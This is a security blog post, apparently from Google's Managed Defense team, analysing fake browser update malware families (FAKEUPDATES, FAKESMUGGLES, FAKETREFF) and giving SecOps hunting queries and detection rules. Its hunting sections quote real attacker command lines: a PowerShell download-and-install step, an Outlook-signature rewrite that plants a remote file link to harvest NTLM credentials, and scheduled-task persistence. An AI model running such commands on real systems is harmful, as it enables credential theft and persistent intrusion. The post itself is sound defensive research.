Finding Malware: Detecting Fake Browser Updates Attacks with Google Security Operations

wesleymok
Staff

About the Finding Malware Series

The "Finding Malware" blog series from Managed Defense is designed to empower the Google Security Operations (SecOps) community to detect emerging and persistent malware threats. This post dive into Fake Browser Update Attacks, the payloads they deliver, and detection opportunities within the Google SecOps platform. Check out other installments to the series here

We also include instructions to allow the community to experience hunting on SecOps found at the end of the blog. Happy hunting! 

About Fake Browser Updates Attacks

Fake browser update attacks are a type of social engineering and malware delivery method where attackers trick users into downloading and installing malicious software disguised as a legitimate browser update. Several threat groups use this fake update browser lure as part of their attack, and they can be distinguished by their malware source code and payload delivery techniques. This post examines several malware families, including the prevalent FAKEUPDATES (first observed publicly in 2017), and the more recently discovered malware families FAKESMUGGLES (2023) and FAKETREFF (2024). 

These fake update compromises should not be underestimated. Though initially affecting a single host and user at a time, the initial access gained can be sold through access brokers to threat actors, including Ransomware-as-a-Service (RaaS) groups, potentially leading to significant breaches and ransomware deployment, as highlighted by Google Threat Intelligence Group. Organizations should take proactive steps to mitigate this risk.

Fake browser update attacks typically involve: 

  • Compromised Website - Attackers distribute malware using compromised resources, injecting malicious JavaScript into vulnerable sites to fingerprint hosts, perform eligibility checks, and display fake update pages. 
  • Fake Update Page - A customized fake update page tricks users into downloading a malicious payload. 
  • Delivery -  The malware is commonly delivered via drive-by downloads. These occur when a user visits the compromised or malicious website, unintentionally downloading malicious software. 
  • Payload - The payload is typically a JavaScript file within a ZIP archive. The malicious JavaScript acts as a downloader, delivering additional malware.

image.pngFigure 01: Malware lifecycle

 

FAKEUPDATES

Also known as: SocGholish

FAKEUPDATES is a downloader written in JavaScript that supports executables and JavaScript payloads.

Compromised Website

FAKEUPDATES malware has had many updates over the years; however, infections typically begin when a user accesses a compromised website that contains a reference to malicious JavaScript code. A recent version from 2024 of this malware is shown below.

It is not uncommon to have multiple references to malicious JavaScript code injected within a compromised website.

image.pngFigure 02: DOM screenshot from a compromised website

The injected JavaScript code contains a function to load another script from a different server. The newly loaded script performs various checks to determine if it's running in a secure environment or a potential analysis environment. If the environment passes, it checks user mouse movement before redirecting the user to the fake update page.

image.pngFigure 03: Script loaded from another server

Fake Update Page

The figure below shows a screenshot of the lure displayed to users indicating that their browser version needs to be updated. Clicking the download button results in the download of a JavaScript file onto the system.

image.pngFigure 04: Fake Browser Update

 

Payload

The FAKEUPDATES malware uses HTTP POST requests to communicate with its command-and-control (C2) server. An initial POST, containing a hardcoded Base64 value, signals a successful compromise.

image.pngFigure 05: HTTP POST request with hardcoded Base64 value

The C2 responds with a script to collect system information. Subsequently, FAKEUPDATES may execute additional commands or download further executables, depending on the attacker's goals and the target system.

image.pngFigure 06: Second stage script to collect the victim's host information.

Below is an example of the host information that FAKEUPDATES sends to its C2. Prior to sending the information, it is encoded using encodeURIComponent.

 

0=b&1=507&2=C:\Users\Joe\Downloads\Update.js&3=Joe-PC&4=Joe&5=TESTAD&6=TESTAD.ORG&7=HP|&8=HP EliteBook|&9=HP|AAABBB1122|&10=%Windows Defender%&11=%Windows Defender%&12=00-B0-D0-63-C2-26&13=<list of processes>&14=19044

 

FAKESMUGGLES

FAKESMUGGLES is another malware family distributed via fake browser update attacks. In this campaign, the responsible threat actor distinctly uses HTML Smuggling techniques to deliver malware.

HTML Smuggling uses HTML5 and JavaScript features to assemble the malicious payload directly on the user's system, effectively bypassing network security controls (e.g. web application firewalls or WAF). The payload, concealed within an HTML page, is assembled locally, avoiding direct download from potentially blocked sources. Threat actors achieve HTML smuggling by abusing the HTML5 hyperlink <a> tag's download attribute and JavaScript Blobs (Binary Large Object) to deliver its payload. The malware is downloaded locally through this specially crafted HTML fake update page.

Compromised Website

Like FAKEUPDATES, FAKESMUGGLES infections begin when a user accesses a compromised website. Analysis of the compromised website's source code reveals a script tag that loads original.js, a JavaScript hosted on another server.

kasey_0-1740595136640.png

Figure 07: Compromised website with a reference to a malicious script

Analysis of original.js:

1. The script is obfuscated using obfuscator[.]io and can be decoded using available tools.

image.pngFigure 08: Obfuscator[.]io 

2. The script checks the browser type and operating system via the User-Agent string. 

image.pngFigure 09: Truncated sample of the deobfuscated original.js file.

3. If the browser and OS matches the criteria, the script loads a fake update page within an iframe.

Fake Update Page

The page is embedded with an obfuscated JavaScript that delivers the payload via HTML Smuggling.

image.pngFigure 10: HTML Smuggling to drop the FAKESMUGGLES payload on a victim host.

The script performs the following:

1. The script starts by decoding the raw data of the payload in the encoded data Blob using Base64.

2. The decoded data is then used to create a Blob, which is the representation of the file Update.js to be downloaded. The script also checks if it should drop the payload as an archive file, such as a .zip or .rar file.

image.pngFigure 11: Creation of Blob for Update.js

3. The script creates a download link and sets its href attribute to the Blob's URL that effectively assembles the payload locally, avoiding direct download from potentially blocked sources.

Payload

The downloaded payload is several megabytes in size and hides the malicious functions amongst benign JavaScript code. The script initiates an HTTP POST request to the embedded C2 URL. If the C2 responds to the request, it creates a new function to execute the contents of the response.

image.pngFigure 12: Truncated version of FAKESMUGGLES Javascript file

NetSupport Manager, a legitimate remote control and monitoring software for remote support and administration of computers, was observed to be one of the final payloads used by the threat actor to gain remote access on the compromised host.

FAKETREFF

FAKETREFF is another malware family distributed via fake browser update attacks. FAKETREFF is a JavaScript downloader that communicates with its command-and-control (C2) server to download additional payloads and send basic host information (IP address, UserAgent, OS, referrer URL, location). 

Unlike the previously discussed malware family FAKESMUGGLES, which Mandiant observed to mainly, but not exclusively,  deliver NetSupport Manager, Managed Defense observed a variety of payloads downloaded as a result of FAKETREFF compromises. This suggests that FAKETREFF is leveraged in a malware distribution service that provides clients the ability to deploy their own payloads.

Compromised Website

The injected JavaScript is a small script that loads another obfuscated script from a C2 server. The script is disguised with common benign filenames like web-analyzer.js or analytics.js to hide in plain sight. 

kasey_1-1740595403186.png

Figure 13: Injected malicious JavaScript

The script performs the following steps:

1. The JavaScript begins by checking the Cookie named isCompleted (other samples check isConnected, isDone). If it doesn't exist, it sets the Cookie to isCompleted. This prevents the fake update page from appearing repeatedly and avoiding user suspicion. 

image.pngFigure 14: Check Cookie name

2. Similar to other fake update malware, FAKETREFF also gathers user information (such as IP address, location, browser name, OS, referrer, and UserAgent) that are used to fingerprint the host.

image.pngFigure 15: Get user information

3. The collected information is Base64-encoded before being sent to its C2, usually in the form of hxxps://{C2_domain}.com/js.php via an HTTP GET request. The code checks the response from its C2, and if it contains PageErrorLoad, it logs a message and reloads the page. Otherwise, it overwrites the current page content with the server’s response which is the fake update page.

image.pngFigure 16: C2 communication

The C2 communication is an easy way to identify FAKETREFF from the other malwares. Below is an example of the URL request sent to its C2:

 

hxxps://{C2_domain}/js.php?device=windows&ip=MTExLjExMS4xMTEuMTEx&refferer=aHR0cHM6Ly93d3cudGVzdC5jb20vZmFrZXVwZGF0ZS8=&browser=RWRnZQ==&ua=bW96aWxsYS81LjAgKHdpbmRvd3MgbnQgMTAuMDsgd2luNjQ7IHg2NCkgYXBwbGV3ZWJraXQvNTM3LjM2IChraHRtbCwgbGlrZSBnZWNrbykgY2hyb21lLzEyNy4wLjAuMCBzYWZhcmkvNTM3LjM2IGVkZy8xMjcuMC4wLjA=&domain=aHR0cHM6Ly9jaGhpbWkuY29t&loc=SlA=&is_ajax=1

 

This can decoded using Base64:

 

device=windows
ip=111.111.111.111
refferer=https://www.test.com/fakeupdate/
browser=Edge
ua=mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/127.0.0.0 safari/537.36 edg/127.0.0.0
domain=https://{C2_domain}.com
loc=JP
is_ajax=1

 

Fake Update Page

The page includes a Download button,  Clicking on it will call the function handleDownload.

The handleDownload function redirects users to a PHP file which serves the payload to be downloaded to the host. The function also notifies the C2 of the successful download via an HTTP POST request to /stat.php. After the download, the user is redirected to a benign website.

image.pngFigure 17. Function handleDownload

Payload

Managed Defense observations show that the FAKETREFF infection has delivered a variety of payloads, including but not limited to NetSupport Manager, CLEANBOOST, and DARKGATE malware families. It also utilizes a variety of file types, including MSIX, EXE and JS, for its payload.

Detection opportunities in Google SecOps

Hunting Opportunities

Mandiant Hunt surfaces otherwise undetected malicious activity by employing a detection strategy that uses both strong signals (high enough fidelity to be reviewed 1:1) and weak signals (low fidelity on their own but provide broad coverage of threat actor tactics) to enumerate attacker activity in customer environments. These signals are used to sequentially funnel petabytes of telemetry data to a practicable number of enriched and highly curated cases for analyst review. Mandiant uses security frameworks like MITRE ATT&CK® to help label data, find interesting sequences of activity, and share actionable results with customers.

Google SecOps customers can use the following information to hunt for malware like FAKEUPDATES, FAKESMUGGLES, and FAKETREFF as well as other malicious activity using similar tactics:

  • Windows Script Host launching command prompt with output redirect - Output redirection is common and not indicative of compromise. However, command line arguments with output redirection in combination with certain process parent-child relationships like wscript.exe launching cmd.exe may be rare and a higher-efficacy opportunity for hunting. If this is still too noisy, consider including interesting command line arguments like those shown in the UDM query below, which can be used to hunt in Google SecOps.

 

metadata.event_type = "PROCESS_LAUNCH" AND
principal.process.file.full_path = /wscript/ nocase AND
target.process.file.full_path = /cmd/ nocase AND
target.process.command_line = /\s>>/ AND
(
    target.process.command_line = /\/C schtasks/ nocase OR
    target.process.command_line = /\/C copy/ nocase OR
    target.process.command_line = /\/C ping/ nocase OR
    target.process.command_line = /\/C type\s.?[A-Z]:\\Users\\/ nocase OR
    target.process.command_line = /\/C.*systeminfo / nocase OR
    target.process.command_line = /\/C wmic/ nocase OR
    target.process.command_line = /\/C ipconfig \/all/ nocase OR
    target.process.command_line = /\/C qwinsta/ nocase OR
    target.process.command_line = /\/C.*&net/ nocase OR
    target.process.command_line = /\/C.*nltest/ nocase OR
    target.process.command_line = /\/C echo.*http(s)?:\/\// nocase OR
    target.process.command_line = /\/C.*pythonw\.exe/ nocase
)

 

These events map to MITRE ATT&CK Technique T1059.003 - Command and Scripting Interpreter: Windows Command Shell. Some examples from real compromises include:

  • "C:\Windows\System32\cmd.exe" /C systeminfo >> "C:\Users\<user>\AppData\Local\Temp\radC2172.tmp"
  • "C:\Windows\System32\cmd.exe" /C powershell -c "cd C:\Users\<user>\AppData\Local\ConnectedDevicesPlatform\get-pip;[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;wget hxxps://bootstrap[.]pypa[.]io/pip/pip.pyz -OutFile .\pip.pyz;.\pythonw.exe pip.pyz --trusted-host files.pythonhosted.org --trusted-host pypi.org install pycryptodome virtualenv requests pipx --upgrade pip --no-warn-script-location;sleep 10;ls" >> "C:\Users\<user>\AppData\Local\Temp\rad65A3F.tmp"
  • Listing or modifying the contents of the Microsoft Outlook signatures folder  - Mandiant has observed FAKEUPDATES infections lead to enumeration and modification of the contents of the Microsoft Outlook signatures folder. The threat actor’s goal was to replace HTML body tags within victims' Outlook signatures with a link to a remote resource used to harvest NT LAN Manager (NTLM) login information. These events map to MITRE ATT&CK Technique T1565.001 - Stored Data Manipulation.

Use the UDM query below in Google SecOps to identify the enumeration of this folder.

 

metadata.event_type = "PROCESS_LAUNCH" AND
target.process.command_line = /microsoft\\signatures/ nocase AND
(
    target.process.command_line = /cat/ nocase OR
    target.process.command_line = /ls/ nocase OR
    target.process.command_line = /dir/ nocase
)

 

Some examples include:

  • "C:\Windows\System32\cmd.exe" /C powershell.exe ls $env:APPDATA\Microsoft\Signatures >> "C:\Users\<user>\AppData\Local\Temp\rad3B647.tmp"
  • "C:\Windows\System32\cmd.exe" /C dir C:\Users\<user>\AppData\Roaming\microsoft\signatures\ >> "C:\Users\<user>\AppData\Local\Temp\radC3377.tmp"

Use the UDM query below in Google SecOps to identify PowerShell commands modifying Outlook signatures.

 

metadata.event_type = "PROCESS_LAUNCH" AND
target.process.file.full_path = /powershell/ nocase AND
target.process.command_line = /microsoft\\signatures/ nocase AND
target.process.command_line = /replace/

 

An example command line of such an event is:

  • powershell.exe Get-ChildItem -Path $env:APPDATA\Microsoft\Signatures -Filter *.htm | ForEach-Object { (Get-Content $_.FullName) -replace '</body>', "`r`n<img src=`"file://<remote IP address>/<victim organization name>.png`">`r`n</body>" | Set-Content $_.FullName } >> "C:\Users\<USER>\AppData\Local\Temp\<TEMPFILE>.tmp"
  • Windows scheduled tasks registered in suspicious locations - Scheduled tasks should typically be configured to launch executables in trusted locations. Scheduled task execution involving binaries in other locations should be investigated, and benign events tuned out until only interesting events remain. These events map to MITRE ATT&CK Technique T1053.005 - Scheduled Task/Job: Scheduled Task.

Use the UDM query below in Google SecOps to identify scheduled task registration involving unusual locations. Add other locations worthy of investigation to this query, or hunt for all locations and tune common activity out.

 

metadata.event_type = "PROCESS_LAUNCH" AND
target.process.command_line = /register-scheduledtask/ nocase AND
target.process.command_line = /-Execute/ nocase AND
(
    target.process.command_line = /AppData/ nocase OR
    target.process.command_line = /Documents/ nocase OR
    target.process.command_line = /Desktop/ nocase OR
    target.process.command_line = /Downloads/ nocase
)

 

Some example process command line arguments seen in compromises involving the malware discussed in this blog include those listed below. These arguments were configured to launch a Python-based network tunneler Mandiant tracks as VIPERTUNNEL, as part of follow-on activity from the initial compromise.

  • "C:\Windows\System32\cmd.exe" /C powershell $a = New-ScheduledTaskAction -WorkingDirectory 'C:\Users\<user>\AppData\Local\ConnectedDevicesPlatform\get-pip' -Execute 'pythonw.exe' -Argument 'py.py';$t = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 1);$s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit '00:00:00' -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries;Register-ScheduledTask -TaskName 'fontdrvr' -Action $a -Trigger $t -Settings $s >> "C:\Users\<user>\AppData\Local\Temp\radFBA0E.tmp"
  • "C:\Windows\System32\cmd.exe" /C powershell $a = New-ScheduledTaskAction -WorkingDirectory 'C:\Users\<user>\AppData\Local\python3.12' -Execute 'pythonw.exe' -Argument 'puppo.py';$t = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 1);$s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit '00:00:00' -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries;Register-ScheduledTask -TaskName 'python-pip' -Action $a -Trigger $t -Settings $s >> "C:\Users\<user>\AppData\Local\Temp\rad33DD1.tmp"
  • Run key persistence for binary in ProgramData directory  - Malware can leverage registry Run keys for persistence, with the registry value data pointing to a binary in directory locations commonly used by threat actors for staging files. These events map to MITRE ATT&CK Technique T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder.

Use the UDM query below in Google SecOps to identify registry Run keys which execute a binary in the ProgramData directory. Queries like this will usually be noisy. Though tuning such logic can be an arduous task, hunting through these events can be a very fruitful way of finding malicious activity attempting to blend into the noise. Some limited tuning logic is already provided; significantly more will likely be required in your environment.

 

metadata.event_type = "REGISTRY_CREATION" AND
target.registry.registry_key = /Software\\Microsoft\\Windows\\CurrentVersion\\Run/ nocase AND NOT
target.registry.registry_key = /RunOnce/ nocase AND
target.registry.registry_value_data = /programdata/ nocase AND NOT
target.registry.registry_value_data = /Lenovo/ nocase AND NOT
target.registry.registry_value_data = /Bomgar/ nocase AND NOT
target.registry.registry_value_data = /Teams/ nocase AND NOT
target.registry.registry_value_data = /FastTrack/ nocase AND NOT
target.registry.registry_value_data = /Alibaba/ nocase AND NOT
target.registry.registry_value_data = /<Your exclusion here>/ nocase

 

SecOps Hands-on: A Practical Walkthrough

This SecOps demo uses a UDM query to detect potential malicious activity: wscript.exe launching cmd.exe. Follow the steps below to try it yourself.

1. Access Google SecOps: Go to https://goo.gle/chroniclelab

2. Open the Search Interface: In the left navigation, under "Search".

3. UDM Query: Paste the following query into the query editor. This query is similar to the first one (“Windows Script Host launching command prompt with output redirect”) in the Hunting Opportunities section above, but is more broad in looking for suspicious wscript.exe activity as the target.process.command_line field is not required to contain an output redirect.

4. Review the Results: After pasting the query, click the "Run" or equivalent button. SecOps SIEM will execute the search and display the results matching the specified criteria. Analyze the results carefully to identify any potentially malicious activity.

Hunting_compress_resize70_.gifHunting for potential malicious activity on wscript.exe launching cmd.exe.

This SecOps demo leverages AI to generate a UDM query that detects the malicious activity of wscript.exe launching cmd.exe. Try it yourself—follow the steps below!

1. Access Chronicle SecOps: Go to https://goo.gle/chroniclelab

2. Open the Search Interface: In the left navigation, under "Search".

3. Generate Query: Paste the following query into the search bar

 

Write a UDM query that detects when wscript.exe launches cmd.exe

 

4. Review the Results: After pasting the query, click the "Run" or equivalent button. SecOps SIEM will execute the search and display the results matching the specified criteria. Analyze the results carefully to identify any potentially malicious activity.

AI-Generated UDM_optimized_lossy.gifAI-Generated UDM Queries for WSCRIPT.exe/cmd.exe

Detections

Users can create custom single or multi-event YL2 rules within Google SecOps to detect Fake browser update malware activity.

  • This rule detects files created in the Downloads directory by a browser process, where the files have commonly used filenames associated with fake update malware, such as update.js, update_1234.js, and download.js.

 

rule fake_updates_file_creation
{
    meta:
        author = "Mandiant"
        description = "This rule matches on the commonly used filename created by fake browser udpate malware from a browser process."
        mitre_attack_tactic = "User Execution"
        mitre_attack_technique = "User Execution: Malicious File"
        mitre_attack_url = "https://attack.mitre.org/techniques/T1204/002/"
        mitre_attack_version = "v15.1"
        severity = "Medium"
        priority = "Medium"
        platform = "Windows"
        type = "hunt"

    events:	   
( 
$e.metadata.event_type = "FILE_CREATION"or
$e.metadata.event_type = "FILE_MODIFICATION"
) and

re.regex($e.principal.process.parent_process.file.full_path, `explorer\.exe`) nocase 
re.regex($e.principal.process.file.full_path, `(msedge|chrome|firefox|opera|brave)\.exe`) nocase 
re.regex($e.target.file.full_path, `\\Users\\[^\\\/]+\\Downloads\\(Updates?|Update_[0-9]{0,6}|download)\.(js|zip|rar|msix)$`) nocase 

    condition:
        $e
}

 

  • This rule detects the execution of a JS file located in the Downloads or Temp directory by the wscript.exe process.

 

rule fake_updates_process_launch
{
    meta:
        author = "Mandiant"
        description = "This rule matches in the execution of fake browser update malware on the system."
        mitre_attack_tactic = "Execution"
        mitre_attack_technique = "Command and Scripting Interpreter: JavaScript"
        mitre_attack_url = "https://attack.mitre.org/techniques/T1059/007/"
        mitre_attack_version = "v15.1"
        severity = "High"
        priority = "High"
        platform = "Windows"
        type = "hunt"

    events:
$e.metadata.event_type = "PROCESS_LAUNCH" and
(
re.regex($e.target.process.command_line, `wscript\.exe.+\\users\\.+\\AppData\\Local\\Temp\\.+\\Update.*\.js`) nocase or 
re.regex($e.principal.process.command_line, `wscript\.exe.+\\users\\.+\\AppData\\Local\\Temp\\.+\\Update.*\.js`) nocase or
re.regex($e.target.process.command_line, `wscript\.exe.+\\users\\.+\\Downloads\\Update.*\.js`) nocase or 
re.regex($e.principal.process.command_line, `wscript\.exe.+\\users\\.+\\Downloads\\Update.*\.js`) nocase
)

    condition:
        $e
}

 

  • Rule to detect initial HTTP GET requests from FAKETREFF malware.

 

rule faketreff_http_get_request 
{
  meta:
    author = "Mandiant"
    description = "Detect HTTP GET requests of FAKETREFF including victim information"
    mitre_attack_tactic = "Command and Control"
    mitre_attack_technique = "Application Layer Protocol: Web Protocols"
    mitre_attack_url = "https://attack.mitre.org/techniques/T1071/001/"
    mitre_attack_version = "v15.1"
    severity = "Medium"
    priority = "Medium"
    platform = "Windows"
    type = "hunt"

  events:
    $e.metadata.event_type = "NETWORK_HTTP"
    $e.network.http.method = "GET"
    re.regex($e.target.url, `\.php\?device=windows&ip=.{1,40}&refferer=aHR0c.{1,100}&browser=.{1,20}&ua=.{1,200}domain.{1,100}&loc=.{1,10}&is_ajax=[0-9]{1,2}`) nocase

  condition:
    $e
}

 

We would like to extend our thanks to Choon Kiat Ng for his valuable contributions to this blog post. 

Have questions or feedback for the Managed Defense team? Comment on the blog or ask a question in the Managed Defense Forum

OSZAR »